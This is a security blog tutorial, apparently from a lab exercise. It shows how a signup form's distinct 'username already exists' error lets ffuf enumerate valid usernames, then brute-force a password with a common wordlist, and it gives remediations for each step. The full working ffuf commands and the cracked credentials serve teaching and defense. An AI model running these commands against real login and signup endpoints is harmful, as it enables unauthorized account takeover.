DEV Community

Jer Catallo
Jer Catallo

Posted on

User Enumeration: How One Leaky Error Message Lets Attackers Find Valid Usernames and Crack Your Passwords

#security #todayilearned #tutorial #cybersecurity

Username enumeration and password brute-force are two of the most common techniques attackers use against web applications. They work best when a site gives away too much information through its error messages. This blog walks you through how an attacker can use a tool like ffuf to discover valid usernames from a signup form, then crack the matching password with a common wordlist. Along the way, you will see the commands, the output, and what fixes to apply.

Ethical Considerations

These techniques are for educational purposes only. All tests were performed in a controlled lab environment with explicit permission. Unauthorized use of these methods against real systems is illegal. Always get written authorization before testing any system you do not own.

Step 1: Enumerate Valid Usernames

The signup form returns a different error message when a username already exists. You can use this difference to find valid accounts.

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
  -X POST \
  -d "username=FUZZ&email=x&password=x&cpassword=x" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u http://<target-ip>/customers/signup \
  -mr "username already exists"
Enter fullscreen mode Exit fullscreen mode

This command sends POST requests to the signup endpoint. The FUZZ keyword is replaced with each name from the wordlist. The -mr flag matches responses that contain "username already exists", which confirms the username is taken.

Four valid usernames were found: admin, robert, simon, and steve. Each returned HTTP 200 with the matching error string.

Remediation: Use a generic error message like "If the username is available, the account will be created" for both success and duplicate cases. This prevents attackers from distinguishing valid accounts.

Step 2: Create Username List

Save the confirmed usernames into a file for the next phase.

nano valid_usernames.txt
Enter fullscreen mode Exit fullscreen mode

File contents:

admin
robert
simon
steve
Enter fullscreen mode Exit fullscreen mode

The file valid_usernames.txt now contains the four confirmed usernames. This file is used as the first wordlist in the credential brute-force step.

Step 3: Brute-Force Username and Password

Use ffuf in cluster bomb mode to test every username and password combination. Failed logins return HTTP 200, while successful logins return a redirect (302).

ffuf -w valid_usernames.txt:W1,\
/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 \
  -X POST \
  -d "username=W1&password=W2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u http://<target-ip>/customers/login \
  -fc 200
Enter fullscreen mode Exit fullscreen mode

This command uses two wordlists. W1 is the valid username list. W2 is the top-100 common passwords. The -fc 200 flag filters out HTTP 200 responses, so only successful logins (non-200 status codes) are shown.

One valid credential pair was found: username steve with password thunder. The response was HTTP 302, which indicates a redirect to the authenticated dashboard.

Remediation: Add rate limiting, account lockout after failed attempts, and CAPTCHA challenges. Use generic login error messages that do not reveal whether the username or password was incorrect.

Summary

These two attacks chain together well: the signup form leaks which usernames exist, and the login form has no rate limiting to stop repeated attempts. Combined, they let an attacker go from zero knowledge to a valid session in minutes using only free, open-source tools and a common wordlist.

The fixes are straightforward. Use generic error messages that do not reveal whether a username is taken or a password is wrong. Add rate limiting and account lockout on both the signup and login endpoints. Enforce a strong password policy so that common passwords like thunder are rejected at registration. These controls break each step of the attack chain and make automated tools far less effective.

If you found this helpful, drop a like and share it with someone learning security. If you have questions, ran into something different in your own lab, or want to share your results, leave a comment below. Always happy to connect and talk about security, recon techniques, or anything AppSec related.

Feel free to connect with me on LinkedIn

Always open to connecting with people in security, development, or both. Whether you are building something, breaking something, or just getting started, feel free to reach out.

Top comments (0)